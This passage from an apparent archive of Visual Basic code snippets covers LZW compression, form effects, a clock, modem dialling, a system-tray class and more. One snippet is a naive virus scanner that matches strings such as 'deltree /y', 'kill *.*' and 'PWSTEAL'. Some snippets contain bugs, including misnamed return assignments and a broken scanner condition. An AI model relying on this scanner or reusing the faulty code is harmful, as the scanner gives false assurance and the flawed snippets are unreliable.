lblLottery(I).Caption = Random\n Next I\nEnd Sub\nPrivate Sub Command1_Click()\nText1(0).SetFocus\nFor T = 0 To 5\nText1(T) = \"\"\nNext T\nFor I = 0 To 5\nlblLottery(I).Caption = \"\"\nNext I\nEnd Sub"},{"WorldId":1,"id":2075,"LineNumber":1,"line":"' Special thanks to Chris Dodge for reporting the bug\nOption Explicit\nPrivate Type BNode\n DictIdx As Long\n pLeft As Long\n pRight As Long\nEnd Type\nDim Dict(4096) As String\nDim NextDictIdx As Long\nDim Heap(4096) As BNode\nDim NextHeapIdx As Long\nDim pStr As Long\nSub InitDict()\n Dim i As Integer\n \n For i = 0 To 255\n Dict(i) = Chr(i)\n Next i\n' Not really necessary\n'\n' For i = 256 To 4095\n' Dict(i) = \"\"\n' Next i\n \n NextDictIdx = 256\n NextHeapIdx = 0\nEnd Sub\nFunction AddToDict(s As String) As Long\n If NextDictIdx > 4095 Then\n NextDictIdx = 256\n NextHeapIdx = 0\n End If\n \n If Len(s) = 1 Then\n AddToDict = Asc(s)\n Else\n AddToDict = AddToBTree(0, s)\n End If\nEnd Function\nFunction AddToBTree(ByRef Node As Long, ByRef s As String) As Long\n Dim i As Integer\n \n If Node = -1 Or NextHeapIdx = 0 Then\n Dict(NextDictIdx) = s\n Heap(NextHeapIdx).DictIdx = NextDictIdx\n NextDictIdx = NextDictIdx + 1\n Heap(NextHeapIdx).pLeft = -1\n Heap(NextHeapIdx).pRight = -1\n Node = NextHeapIdx\n NextHeapIdx = NextHeapIdx + 1\n AddToBTree = -1\n Else\n i = StrComp(s, Dict(Heap(Node).DictIdx))\n If i < 0 Then\n AddToBTree = AddToBTree(Heap(Node).pLeft, s)\n ElseIf i > 0 Then\n AddToBTree = AddToBTree(Heap(Node).pRight, s)\n Else\n AddToBTree = Heap(Node).DictIdx\n End If\n End If\nEnd Function\nPrivate Sub WriteStrBuf(s As String, s2 As String)\n Do While pStr + Len(s2) - 1 > Len(s)\n s = s & Space(100000)\n Loop\n Mid$(s, pStr) = s2\n pStr = pStr + Len(s2)\nEnd Sub\nFunction Compress(IPStr As String) As String\n Dim TmpStr As String\n Dim Ch As String\n Dim DictIdx As Integer\n Dim LastDictIdx As Integer\n Dim FirstInPair As Boolean\n Dim HalfCh As Integer\n Dim i As Long\n Dim ostr As String\n \n InitDict\n FirstInPair = True\n pStr = 1\n \n For i = 1 To Len(IPStr)\n Ch = Mid$(IPStr, i, 1)\n \n DictIdx = AddToDict(TmpStr & Ch)\n If DictIdx = -1 Then\n If FirstInPair Then\n HalfCh = (LastDictIdx And 15) * 16\n Else\n WriteStrBuf ostr, Chr(HalfCh Or (LastDictIdx And 15))\n End If\n WriteStrBuf ostr, Chr(LastDictIdx \\ 16)\n \n FirstInPair = Not FirstInPair\n \n TmpStr = Ch\n LastDictIdx = Asc(Ch)\n Else\n TmpStr = TmpStr & Ch\n LastDictIdx = DictIdx\n End If\n Next i\n \n WriteStrBuf ostr, _\n IIf(FirstInPair, Chr(LastDictIdx \\ 16) & Chr((LastDictIdx And 15) * 16), _\n Chr(HalfCh Or (LastDictIdx And 15)) & Chr(LastDictIdx \\ 16))\n \n Compress = Left(ostr, pStr - 1)\n \nEnd Function\nFunction GC(str As String, position As Long) As Integer\n GC = Asc(Mid$(str, position, 1))\nEnd Function\nFunction DeCompress(IPStr As String) As String\n Dim DictIdx As Integer\n Dim FirstInPair As Boolean\n Dim i As Long\n Dim s As String\n Dim s2 As String\n InitDict\n pStr = 1\n i = 1\n FirstInPair = True\n \n Do While i < Len(IPStr)\n If FirstInPair Then\n DictIdx = (GC(IPStr, i) * 16) Or (GC(IPStr, i + 1) \\ 16)\n i = i + 1\n Else\n DictIdx = (GC(IPStr, i + 1) * 16) Or (GC(IPStr, i) And 15)\n i = i + 2\n End If\n FirstInPair = Not FirstInPair\n \n If i > 2 Then\n If DictIdx = NextDictIdx Or (DictIdx = 256 And NextDictIdx = 4096) Then\n AddToDict s2 & Left$(s2, 1)\n Else\n AddToDict s2 & Left$(Dict(DictIdx), 1)\n End If\n End If\n s2 = Dict(DictIdx)\n WriteStrBuf s, s2\n Loop\n \n DeCompress = Left(s, pStr - 1)\nEnd Function\nSub test()\n Dim s As String\n \n MousePointer = vbHourglass\n \n s = Compress(Text1)\n Text2 = DeCompress(s)\n Text3 = Len(Text1)\n Text4 = Len(s)\n \n If Text1 <> Text2 Then\n Text5 = \"error\"\n Else\n Text5 = \"ok\"\n End If\n \n MousePointer = vbNormal\nEnd Sub\n"},{"WorldId":1,"id":2082,"LineNumber":1,"line":"'Save the files as described above\n'and compile your ENOCK.EXE program.\n'All you have to do now is to include\n'the ENOCK.BAS file in your project\n'and add this code to the startup of\n'your program .. :)\n\n Dim lCalc As Long\n 'Get the current CheckSum value\n lCalc = CreateLong(CalcCheckSum(\"\"))\n If lCalc > 0 Then\n Select Case CheckENOCK(\"\", lCalc)\n Case 2 'File is ENOCKED and CheckSum was Checked\n MsgBox \"File is Authentic ....\", 32\n Case 0 'Some Error occured\n 'Some error occured and will be displayed by the function\n Case -1 'File is NOT ENOCKED and didn't check Checksum\n MsgBox \"File is NOT ENOCKED and didn't check Checksum\", 32\n Case -2 'File is ENOCKED and CheckSum doesn't match\n MsgBox \"File is NOT Authentic, posible virus infection \", 16\n End Select\n End If\n"},{"WorldId":1,"id":2090,"LineNumber":1,"line":"Private sub timer1_timer()\ndim nReturnValue as integer\nnReturnValue = FlashWindow(form1.hWnd, true)\nend sub"},{"WorldId":1,"id":2091,"LineNumber":1,"line":"'This control use MCI to control CD\nPublic Sub RecordWave(TrackNum As Integer, Filename As String)\n' TrackNum: track to record\n' Filename: file to save wave as\nOn Local Error Resume Next\nDim i As Long\nDim RS As String\nDim cb As Long\nDim t\n RS = Space$(128)\n i = mciSendString(\"stop cdaudio\", RS, 128, cb)\n i = mciSendString(\"close cdaudio\", RS, 128, cb)\n Kill Filename\n RS = Space$(128)\n i = mciSendString(\"status cdaudio position track \" & TrackNum, RS, 128, cb)\n i = mciSendString(\"open cdaudio\", RS, 128, cb)\n i = mciSendString(\"set cdaudio time format milliseconds\", RS, 128, cb)\n i = mciSendString(\"play cdaudio\", RS, 128, cb)\n i = mciSendString(\"open new type waveaudio alias capture\", RS, 128, cb)\n i = mciSendString(\"record capture\", RS, 128, cb)\n t# = Timer + 1: Do Until Timer > t#: DoEvents: Loop\n i = mciSendString(\"save capture \" & Filename, RS, 128, cb)\n i = mciSendString(\"stop cdaudio\", RS, 128, cb)\n i = mciSendString(\"close cdaudio\", RS, 128, cb)\nEnd Sub\n"},{"WorldId":1,"id":2096,"LineNumber":1,"line":"'Place this in Form_Load() or wherever else you think it is appropriate ;)\n CenterInWorkArea Me\n"},{"WorldId":1,"id":2100,"LineNumber":1,"line":"Dim rgn As Long 'global variable to keep track of region\nPrivate Sub Form_Load()\n Dim maskcolor As Long\n maskcolor = RGB(0, 255, 0) '<----your color goes there\n TransBack 0, 0, Me.Width / 15, Me.Height / 15, maskcolor, Me.hdc, Me.hWnd\nEnd Sub\n' allows form to be moved by clicking anywhere on it\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)\n ReleaseCapture\n SendMessage Me.hWnd, &HA1, 2, 0&\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n DeleteObject rgn 'clean up before closing\nEnd Sub\nPrivate Sub TransBack(ByVal xstart As Long, ByVal ystart As Long, _\n ByVal xend As Long, ByVal yend As Long, ByVal bgcolor As Long, _\n ByVal thdc As Long, ByVal thWnd As Long)\n Dim rgn2 As Long, rgn3 As Long, rgn4 As Long\n Dim x1 As Long, y1 As Long, i As Long, j As Long, tj As Long\n rgn = CreateRectRgn(0, 0, 0, 0) 'create some region buffers\n rgn2 = CreateRectRgn(0, 0, 0, 0)\n rgn3 = CreateRectRgn(0, 0, 0, 0)\n \n ' this loop picks out the transparent colors,\n ' there MUST be three loops or Windows has a hard\n ' time handling the complex regions\n i = xstart\n x1 = (xend - xstart) + 1: y1 = (yend - ystart) + 1\n Do While i < x1\n j = ystart\n Do While j < y1\n If GetPixel(thdc, i, j) <> bgcolor Then\n tj = j\n Do While GetPixel(thdc, i, j + 1) <> bgcolor\n j = j + 1\n If j = y1 Then Exit Do\n Loop\n rgn4 = CreateRectRgn(i, tj, i + 1, j + 1)\n CombineRgn rgn3, rgn2, rgn2, 5\n CombineRgn rgn2, rgn4, rgn3, 2\n DeleteObject rgn4\n End If\n j = j + 1\n Loop\n CombineRgn rgn3, rgn, rgn, 5\n CombineRgn rgn, rgn2, rgn3, 2\n DoEvents\n i = i + 1\n Loop\n DeleteObject rgn2\n SetWindowRgn thWnd, rgn, True\nEnd Sub\n"},{"WorldId":1,"id":2110,"LineNumber":1,"line":"Function PixelsToTwips_height(pxls)\nPixelsToTwips_height = pxls * screen.TwipsPerPixelY\nend function\nFunction PixelsToTwips_width(pxls)\nPixelsToTwips_width = pxls * screen.TwipsPerPixelX\nend function\n'This next part reverses the las although you should\n'be able to use basic math\nFunction TwipsToPixels_height(pxls)\nPixelsToTwips_height = pxls \\ screen.TwipsPerPixelY\nend function\nFunction TwipsToPixels_width(pxls)\nPixelsToTwips_width = pxls \\ screen.TwipsPerPixelX\nend function\n"},{"WorldId":1,"id":2114,"LineNumber":1,"line":"Option Explicit\nPrivate fForm As Form\nPrivate lOriginalWidth As Long\nPrivate lOriginalHeight As Long\nPrivate lMinWidth As Long\nPrivate lMinHeight As Long\nPrivate Type udtControl\n lLeft As Long\n lTop As Long\n lWidth As Long\n lHeight As Long\nEnd Type\nPrivate aControls() As udtControl\nPublic Property Let Form(ByVal fPassForm As Form)\n \nDim iCount As Integer\nDim cControl As Control\n Set fForm = fPassForm\n \n ' Store form's original Width & Height\n \n lOriginalWidth = fForm.Width\n lOriginalHeight = fForm.Height\n ' Use error trapping to ignore components that don't\n ' support certain properties being read at run-time\n On Error Resume Next\n ' Store the form's component's properties\n iCount = 0\n ReDim aControls(fForm.Controls.Count)\n For Each cControl In fForm.Controls\n iCount = iCount + 1\n With aControls(iCount)\n If TypeOf cControl Is Line Then\n .lLeft = cControl.X1\n .lTop = cControl.Y1\n .lWidth = cControl.X2\n .lHeight = cControl.Y2\n Else\n .lLeft = cControl.Left\n .lTop = cControl.Top\n .lWidth = cControl.Width\n .lHeight = cControl.Height\n End If\n End With\n Next\nEnd Property\nPublic Sub FormResize()\n ' Resize the form\nDim iCount As Integer\nDim cControl As Control\nDim iTaskBarHeight As Integer\nDim sOriginalWidthUnit As Single\nDim sOriginalHeightUnit As Single\n If fForm Is Nothing Then Exit Sub\n ' Don't process minimized forms\n \n If fForm.WindowState = vbMinimized Then Exit Sub\n ' Check form size against minimums\n \n If fForm.Width < lMinWidth Then fForm.Width = lMinWidth\n If fForm.Height < lMinHeight Then fForm.Height = lMinHeight\n ' Perform calculations in advance (speed increase)\n iTaskBarHeight = 28 * Screen.TwipsPerPixelY ' Standard height\n sOriginalWidthUnit = lOriginalWidth / fForm.Width\n sOriginalHeightUnit = (lOriginalHeight - iTaskBarHeight) / (fForm.Height - iTaskBarHeight)\n ' Use error trapping to ignore components that don't\n ' support certain properties being set at run-time\n On Error Resume Next\n ' Resize...\n \n iCount = 0\n For Each cControl In fForm.Controls\n iCount = iCount + 1\n With cControl\n If TypeOf cControl Is Line Then\n .X1 = Int(aControls(iCount).lLeft / sOriginalWidthUnit)\n .Y1 = Int(aControls(iCount).lTop / sOriginalHeightUnit)\n .X2 = Int(aControls(iCount).lWidth / sOriginalWidthUnit)\n .Y2 = Int(aControls(iCount).lHeight / sOriginalHeightUnit)\n Else\n .Left = Int(aControls(iCount).lLeft / sOriginalWidthUnit)\n .Top = Int(aControls(iCount).lTop / sOriginalHeightUnit)\n .Width = Int(aControls(iCount).lWidth / sOriginalWidthUnit)\n .Height = Int(aControls(iCount).lHeight / sOriginalHeightUnit)\n End If\n End With\n Next\nEnd Sub\n\nPrivate Sub Class_Terminate()\n Set fForm = Nothing\nEnd Sub\n\n\nPublic Property Let MinWidth(ByVal lPassMinWidth As Long)\n lMinWidth = lPassMinWidth\nEnd Property\nPublic Property Let MinHeight(ByVal lPassMinheight As Long)\n lMinHeight = lPassMinheight\nEnd Property\n"},{"WorldId":1,"id":2115,"LineNumber":1,"line":"Option Explicit\nPrivate Const Offset = 50\t\t' Border offset\nPrivate cX As Single, cY As Single\t' Center Point\nPrivate r As Integer\t\t\t' Radius\nPrivate Sub Form_DblClick()\n ' Allow form double-click to unload clock\n Unload Me\nEnd Sub\nPrivate Sub Form_Load()\n ' Remove redraw flicker\n Me.AutoRedraw = True\n Timer1.Interval = 500\n \n ' Clock size (radius)\n r = 500\n ' You can center clock on the form...\n cX = Me.Width / 2 - Offset\n cY = Me.Height / 2 - Offset * 2\n ' OR you can put clock top-left on form...\n ' UNCOMMENT TO SEE\n' cX = r + Offset * 2\n' cY = r + Offset * 2\n ' OR even a kind of combination - REMOVE THE FORM's CAPTION AND\n ' CONTROL BOX FOR FULL EFFECT.\n ' UNCOMMENT TO SEE\n' Me.Width = r * 2.5\n' Me.Height = r * 2.5\n' cX = Me.Width / 2 - Offset / 2\n' cY = Me.Height / 2 - Offset / 2\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n Timer1.Enabled = False\nEnd Sub\nPrivate Sub Timer1_Timer()\n Static i As Integer\n Me.Cls\n Me.PSet (cX, cY), vbWhite\n '----------\n 'print face\n '----------\n '12 O'Clock\n SetPoint 58, 0.99\n Print \"12\"\n '3 O'Clock\n SetPoint 13, 0.85\n Print \"3\"\n '6 O'Clock\n SetPoint 31, 0.7\n Print \"6\"\n '9 O'Clock\n SetPoint 47, 1\n Print \"9\"\n '-------\n 'seconds\n '-------\n DrawLine Second(Now), 6, 0.98, 1\n '-------\n 'minutes\n '-------\n DrawLine Minute(Now), 6, 0.9, 3\n '-------\n 'hour\n '-------\n DrawLine Hour(Now), 30, 0.6, 4\n '-------\n 'border\n '-------\n Me.DrawWidth = 2\n Me.Circle (cX, cY), r + Offset\nEnd Sub\nPrivate Sub SetPoint(Position As Integer, StartPercent As Single)\n CurrentX = Sin((180 - Position * 6) * 3.1415926 / 180) * _\n (StartPercent * r) + cX\n CurrentY = Cos((180 - Position * 6) * 3.1415926 / 180) * _\n (StartPercent * r) + cY\nEnd Sub\nPrivate Sub DrawLine(Position As Integer, Units As Integer, _\n LengthPercent As Single, Size As Integer)\n Me.DrawWidth = Size\n Me.Line (cX, cY)-(Sin((180 - Position * Units) * _\n 3.1415926 / 180) * (LengthPercent * r) + cX, _\n Cos((180 - Position * Units) * 3.1415926 / 180) * _\n (LengthPercent * r) + cY)\nEnd Sub\n"},{"WorldId":1,"id":2120,"LineNumber":1,"line":"Private Sub Dial(num As String)\n ' Open the com port.\n Communications.PortOpen = True\n ' Send the attention command to the modem.\n Communications.Output = \"AT\" + Chr$(13)\n ' Wait for processing.\n Do\n DoEvents\n Loop Until Communications.InBufferCount >= 2\n ' Dial the number.\n Communications.Output = \"ATDT \" + num + Chr$(13)\n ' Takes about 47 sec. to dial\n wait = Timer + 47\n Do\n DoEvents\n Loop While Timer <= wait\n ' Uncomment to disconnect after dialing.\n 'Communications.PortOpen = False\n End Sub"},{"WorldId":1,"id":2130,"LineNumber":1,"line":"Function Scanner(File As String)\nInfected = 0\nTrojan = 0\nDim BO As Integer\nDim FileLenn As Variant\nDim FileLennn As Variant\nDim l003A As Variant\nDim l003E As Variant\nDim l0039 As String\nDim l0001 As Single\nDim l0002 As Single\nDim l0003 As Single\nDim l0004 As Single\nDim l0005 As Single\nDim l0006 As Single\nDim l0007 As Single\nDim l0008 As Single\nDim l0009 As Single\nDim l0010 As Single\nDim l0011 As Single\nDim l0012 As Single\nDim l0013 As Single\nDim l0014 As Single\nDim l00530 As Single\nIf LCase(Right$(File, 3)) = \"swp\" Then MsgBox \"File Is a System.swp File\": Exit Function\nOpen File For Binary As #2\nDoEvents\nFileLenn = LOF(2)\nFileLennn = FileLenn\nl003A = 1\nWhile FileLennn >= 0\n If FileLennn > 32000 Then\n l003E = 32000\n ElseIf FileLennn = 0 Then\n l003E = 1\n Else\n l003E = FileLennn\n End If\n l0039$ = String$(l003E, \" \")\n Get #2, l003A, l0039$\n l0001! = InStr(1, l0039$, \"@juno.com\", 1)\n l0002! = InStr(1, l0039$, \"@hotmail.com\", 1)\n l0003! = InStr(1, l0039$, \"@rocketmail.com\", 1)\n l0004! = InStr(1, l0039$, \"Password\", 1)\n l0005! = InStr(1, l0039$, \"Screen Name\", 1)\n l0006! = InStr(1, l0039$, \"win32.exe\", 1)\n l0007! = InStr(1, l0039$, \"STEALER1\", 1)\n l0008! = InStr(1, l0039$, \"PWSTEAL\", 1)\n l0009! = InStr(1, l0039$, \"usa.com\", 1)\n l0010! = InStr(1, l0039$, \"Remove Directory\", 1)\n l0011! = InStr(1, l0039$, \"autoapp\", 1)\n l0012! = InStr(1, l0039$, \"deltree /y\", 1)\n l0013! = InStr(1, l0039$, \"kill *.*\", 1)\n l0014! = InStr(1, l0039$, \"load\", 1)\n l00530! = InStr(1, l0039$, \"win.ini\", 1)\nIf l0001! Then Infected = 1: MsgBox \"File Sends Mail To juno.com\": Exit Function\nIf l0002! Then Infected = 1: MsgBox \"File Sends Mail To hotmail.com\": Exit Function\nIf l0003! Then Infected = 1: MsgBox \"File Sends Mail To rocketmail.com\": Exit Function\nIf l0004! Then Infected = 1: MsgBox \"File Contains The String 'Password'\": Exit Function\nIf l0005! Then Infected = 1: MsgBox \"File Contains The String 'Screen Name'\": Exit Function\nIf l0006! Then Infected = 1: MsgBox \"File Loads Itself As 'Win32'\": Exit Function\nIf l0007! Then Infected = 1: MsgBox \"File Is An AOL Trojan\": Exit Function\nIf l0008! Then Infected = 1: MsgBox \"File Is An AOL Trojan\": Exit Function\nIf l0009! Then Infected = 1: MsgBox \"File Sends Mail To usa.com\": Exit Function\nIf l0010! Then Infected = 1: MsgBox \"File Removes Directories\": Exit Function\nIf l0011! Then Infected = 1: MsgBox \"File Is Probably An Auto Mailer\": Exit Function\nIf l0012! Then Infected = 1: MsgBox \"File Is A Deltree\": Exit Function\nIf l0013! Then Infected = 1: MsgBox \"File Is A Virus\": Exit Function\nIf l0014! And l00530! Then Infected = 1: MsgBox \"File Writes To The 'win.ini' File \": Exit Function\nIf BO = 3 And FileLenn = 124928 Then Trojan = 1: MsgBox \"File Is The BackOrifice.Trojan\": Exit Function\nIf Not l0001! Or Not 10002! Or Not 10003 Or Not 10004! Or Not 10005! Or Not 10006! Or Not l0007! Or Not l0008! Or Not l0009! Or Not l0010! Or Not l0011! Or Not l0012! Or Not l0013! Or Not l0014! Then Infected = 0: MsgBox \"No Virus Found\": Exit Function\nWend\nEnd Function"},{"WorldId":1,"id":2131,"LineNumber":1,"line":"\nPublic Function GetTimeZone(Optional ByRef strTZName As String) As Long\n Dim objTimeZone As TIME_ZONE_INFORMATION\n Dim lngResult As Long\n Dim i As Long\n lngResult = GetTimeZoneInformation&(objTimeZone)\n \n \n Select Case lngResult\n Case 0&, 1& 'use standard time\n GetTimeZone = -(objTimeZone.Bias + objTimeZone.StandardBias) 'into minutes\n \n For i = 0 To 31\n If objTimeZone.StandardName(i) = 0 Then Exit For\n strTZName = strTZName & Chr(objTimeZone.StandardName(i))\n Next\n \n Case 2& 'use daylight savings time\n GetTimeZone = -(objTimeZone.Bias + objTimeZone.DaylightBias) 'into minutes\n \n For i = 0 To 31\n If objTimeZone.DaylightName(i) = 0 Then Exit For\n strTZName = strTZName & Chr(objTimeZone.DaylightName(i))\n Next\n End Select\nEnd Function\nPublic Function InternetTime()\n Dim tmpH\n Dim tmpS\n Dim tmpM\n Dim itime\n Dim tmpZ\n Dim testtemp As String\n \n tmpH = Hour(Time)\n tmpM = Minute(Time)\n tmpS = Second(Time)\n tmpZ = GetTimeZone\n itime = ((tmpH * 3600 + ((tmpM - tmpZ + 60) * 60) + tmpS) * 1000 / 86400)\n If itime > 1000 Then\n itime = itime - 1000\n ElseIf itime < 0 Then\n itime = itime + 1000\n End If\n InternetTime = itime\nEnd Function\n"},{"WorldId":1,"id":2144,"LineNumber":1,"line":"Private Sub Command1_Click()\nDim i%, j%, R&, c&\n'Simple routine to demonstrate color manipulation\n'in a picture. Not fast but it works.\n'Picture1 must contain an image and be Autosized to it.\n'(Point will return -1 for pixels outside an image, and\n'this is invalid)\nFor i = 0 To (Picture1.ScaleWidth - Screen.TwipsPerPixelX) _\n Step Screen.TwipsPerPixelX\n For j = 0 To (Picture1.ScaleHeight - Screen.TwipsPerPixelY) _\n Step Screen.TwipsPerPixelY\n c = Picture1.Point(i, j)\n If c >= 0 Then\n 'Point will return -1 for pixels outside an image\n c = PhotoNegative(c) 'Substitute any color routine here\n 'c = Tint(c,80)\n 'c = Brighten(c,0.1)\n 'c = Greyscale(c)\n 'etc.\n Picture1.PSet (i, j), c\n End If\n Next j\nNext i\n \nEnd Sub\n"},{"WorldId":1,"id":2155,"LineNumber":1,"line":"'*:********************************************************************************\n'*: Class. . . . . . . . . . : clsSysTray.cls\n'*: Description. . . . . . . : When the application is minimized, it minimizes to\n'*: be an icon in the system tray.\n'*: Author . . . . . . . . . : Martin Richardson\n'*: Acknowledgements . . . . : Mark Hunter\n'*: Copyright. . . . . . . . : This class is freeware\n'*: VB Versions:\n'*:\n'*: 5.0 - Change the following constant definition to:\n'*: Private Const VB_VERSION = 5\n#Const VB_VERSION = 6\n'*: - Add a picturebox control to your form, turn visible for it off, and\n'*: call it \"pichook\"\n'*:\n'*: 6.0 - Make sure the VB_VERSION constant is set to value of 6\n'*:********************************************************************************\n'*: Code to set up in the main form:\n'Private WithEvents gSysTray As clsSysTray\n'Private Sub Form_Load()\n' Set gSysTray = New clsSysTray\n' Set gSysTray.SourceWindow = Me\n'End Sub\n'Private Sub Form_Resize()\n' If Me.WindowState = vbMinimized Then\n' gSysTray.MinToSysTray\n' End If\n'End Sub\n'*: For VB5.0, add an invisible picture box to the form and call it \"pichook\"\n'*: Properties\n'*:\n'*: Icon\n'*: Icon displayed in the taskbar. Use this property to set the icon, or return\n'*: it.\n'*: ToolTip\n'*: Tooltip text displayed when the mouse is over the icon in the system tray. Use\n'*: this property to assign text to the tooltip, or to return the value of it.\n'*: SourceWindow As Form\n'*: Reference to the form which will minimize to the system tray.\n'*: DefaultDblClk As Boolean\n'*: Set to True to fire the DEFAULT (defined below) for the mouse double click event\n'*: which will show the application and remove the icon from the tray. (default)\n'*: Set to FALSE to override the below default event.\n'*:\n'*: Methods:\n'*:\n'*: MinToSysTray\n'*: Minimize the application, have it appear as an icon in the system tray.\n'*: The applicion disappears from the task bar and only appears in the\n'*: system tray.\n'*: IconInSysTray\n'*: Create an icon for the application in the system tray, but leave the icon\n'*: visible and on the task bar.\n'*: RemoveFromSysTray\n'*: Remove the icon from the system tray.\n'*:\n'*: These methods are available, but the same actions can be accomplished by\n'*: setting the ICON and TOOLTIP properties.\n'*:\n'*: ChangeToolTip( sNewToolTip As String )\n'*: Set/change the tooltip displayed when the mouse is over the tray icon.\n'*: ex: gSysTray.ChangeToolTip \"Processing...\"\n'*: ChangeIcon( pNewIcon As Picture )\n'*: Set/change the icon which appears in the system tray. The default icon\n'*: is the icon of the form.\n'*: ex: gSysTray.ChangeIcon ImageList1.ListImages(\"busyicon\").picture\n'*: Events:\n'*: LButtonDblClk\n'*: Fires when double clicking the left mouse button over the tray icon. This event\n'*: has default code which will show the form and remove the icon from the\n'*: system tray when it fires. Set the property DefaultDblClk to False to\n'*: bypass this code.\n'*: LButtonDown\n'*: Fires when the left mouse button goes down over the tray icon.\n'*: LButtonUp\n'*: Fires when the left mouse button comes up over the tray icon.\n'*: RButtonDblClk\n'*: Fires when double clicking the right mouse button over the tray icon.\n'*: RButtonDown\n'*: Fires when the right mouse button goes down over the tray icon.\n'*: RButtonUp\n'*: Fires when the right mouse button comes up over the tray icon.\n'*: Best place for calling a popup menu.\n'*:\n'*: Example of utilizing a popup menu with the RButtonUp event:\n'*: 1. Create a menu on the form being minimized, or on it's own seperate form.\n'*: Let's say the form with the menu is called frmMenuForm.\n'*: 2. Set the name of the root menu item to be mnuRightClickMenu\n'*: 3. Assuming the name of the global SysTray object is still gSysTray, use this code\n'*: in the main form:\n'*:\n'Private Sub gSysTray_RButtonUP()\n' PopUpMenu frmMenuForm.mnuRightClickMenu\n'End Sub\n'*:\n'*:********************************************************************************\nPrivate Type NOTIFYICONDATA\n cbSize As Long\n hwnd As Long\n uId As Long\n uFlags As Long\n ucallbackMessage As Long\n hIcon As Long\n szTip As String * 64\nEnd Type\nPrivate Const NIM_ADD = &H0\nPrivate Const NIM_MODIFY = &H1\nPrivate Const NIM_DELETE = &H2\nPrivate Const WM_MOUSEMOVE = &H200\nPrivate Const NIF_MESSAGE = &H1\nPrivate Const NIF_ICON = &H2\nPrivate Const NIF_TIP = &H4\nPrivate Const WM_LBUTTONDBLCLK = &H203\nPrivate Const WM_LBUTTONDOWN = &H201\nPrivate Const WM_LBUTTONUP = &H202\nPrivate Const WM_RBUTTONDBLCLK = &H206\nPrivate Const WM_RBUTTONDOWN = &H204\nPrivate Const WM_RBUTTONUP = &H205\nPrivate Declare Function Shell_NotifyIcon Lib \"shell32\" Alias \"Shell_NotifyIconA\" (ByVal dwMessage As Long, pnid As NOTIFYICONDATA) As Boolean\nPrivate t As NOTIFYICONDATA\nPrivate WithEvents pichook As PictureBox\nPrivate mvarToolTip As String\nPublic Event LButtonDblClk()\nPublic Event LButtonDown()\nPublic Event LButtonUp()\nPublic Event RButtonDblClk()\nPublic Event RButtonDown()\nPublic Event RButtonUp()\n'local variable(s) to hold property value(s)\nPrivate mvarSourceWindow As Form 'local copy\nPrivate mvarDefaultDblClk As Boolean 'local copy\nPublic Property Let ToolTip(ByVal vData As String)\n ChangeToolTip vData\nEnd Property\nPublic Property Get ToolTip() As String\n ToolTip = mvarToolTip\nEnd Property\nPublic Property Let Icon(ByVal vData As Variant)\n ChangeIcon vData\nEnd Property\nPublic Property Get Icon() As Variant\n Icon = t.hIcon 'pichook.Picture\nEnd Property\nPublic Property Let DefaultDblClk(ByVal vData As Boolean)\n mvarDefaultDblClk = vData\nEnd Property\nPublic Property Get DefaultDblClk() As Boolean\n DefaultDblClk = mvarDefaultDblClk\nEnd Property\nPublic Property Set SourceWindow(ByVal vData As Form)\n Set mvarSourceWindow = vData\n SetPicHook\nEnd Property\nPublic Property Get SourceWindow() As Form\n Set SourceWindow = mvarSourceWindow\nEnd Property\nPublic Sub ChangeToolTip(ByVal cNewTip As String)\n mvarToolTip = cNewTip\n t.szTip = cNewTip & Chr$(0)\n Shell_NotifyIcon NIM_MODIFY, t\n If mvarSourceWindow.WindowState = vbMinimized Then\n mvarSourceWindow.Caption = cNewTip\n End If\nEnd Sub\nPrivate Sub Class_Initialize()\n mvarDefaultDblClk = True\n \n t.cbSize = Len(t)\n t.uId = 1&\n t.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE\n t.ucallbackMessage = WM_MOUSEMOVE\n t.hIcon = Me.Icon\n t.szTip = Chr$(0) 'Default to no tooltip\nEnd Sub\nPrivate Sub pichook_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\n Static rec As Boolean, msg As Long, oldmsg As Long\n \n oldmsg = msg\n msg = X / Screen.TwipsPerPixelX\n \n If rec = False Then\n rec = True\n Select Case msg\n Case WM_LBUTTONDBLCLK:\n LButtonDblClk\n Case WM_LBUTTONDOWN:\n RaiseEvent LButtonDown\n Case WM_LBUTTONUP:\n RaiseEvent LButtonUp\n Case WM_RBUTTONDBLCLK:\n RaiseEvent RButtonDblClk\n Case WM_RBUTTONDOWN:\n RaiseEvent RButtonDown\n Case WM_RBUTTONUP:\n RaiseEvent RButtonUp\n End Select\n rec = False\n End If\nEnd Sub\n' Since VB doesn't really have inheretance (&^$%#&*!!) we have to fake it by using a\n' variable to override default events...\nPrivate Sub LButtonDblClk()\n If mvarDefaultDblClk Then\n mvarSourceWindow.WindowState = vbNormal\n mvarSourceWindow.Show\n App.TaskVisible = True\n RemoveFromSysTray\n End If\n \n RaiseEvent LButtonDblClk\nEnd Sub\nPublic Sub RemoveFromSysTray()\n t.cbSize = Len(t)\n t.hwnd = pichook.hwnd\n t.uId = 1&\n Shell_NotifyIcon NIM_DELETE, t\nEnd Sub\nPublic Sub IconInSysTray()\n Shell_NotifyIcon NIM_ADD, t\nEnd Sub\nPublic Sub MinToSysTray()\n Me.IconInSysTray\n \n mvarSourceWindow.Hide\n App.TaskVisible = False\nEnd Sub\nPrivate Sub SetPicHook()\nOn Error GoTo AlreadyAdded\n#If VB_VERSION = 6 Then\n Set pichook = mvarSourceWindow.Controls.Add(\"VB.PictureBox\", \"pichook\")\n#Else\n Set pichook = mvarSourceWindow.pichook\n#End If\n pichook.Visible = False\n pichook.Picture = mvarSourceWindow.Icon\n t.hwnd = pichook.hwnd\n \n Exit Sub\nAlreadyAdded:\n If Err.Number <> 727 Then ' pichook has already been added\n MsgBox \"Run-time error '\" & Err.Number & \"':\" & vbCrLf & vbCrLf & Err.Description, vbCritical + vbOKOnly, \"Error\"\n Stop\n Resume\n End If\nEnd Sub\nPublic Sub ChangeIcon(toNewIcon)\n Set pichook.Picture = toNewIcon\n t.hIcon = pichook.Picture\n Shell_NotifyIcon NIM_MODIFY, t\nEnd Sub\n"},{"WorldId":1,"id":2157,"LineNumber":1,"line":"Public Function GetCaption(ByVal lhWnd As Long) As String\nDim sA As String, lLen As Long\n \n lLen& = GetWindowTextLength(lhWnd&)\n sA$ = String(lLen&, 0&)\n Call GetWindowText(lhWnd&, sA$, lLen& + 1)\n GetCaption$ = sA$\nEnd Function\nPublic Function FindAnyWindow(frm As 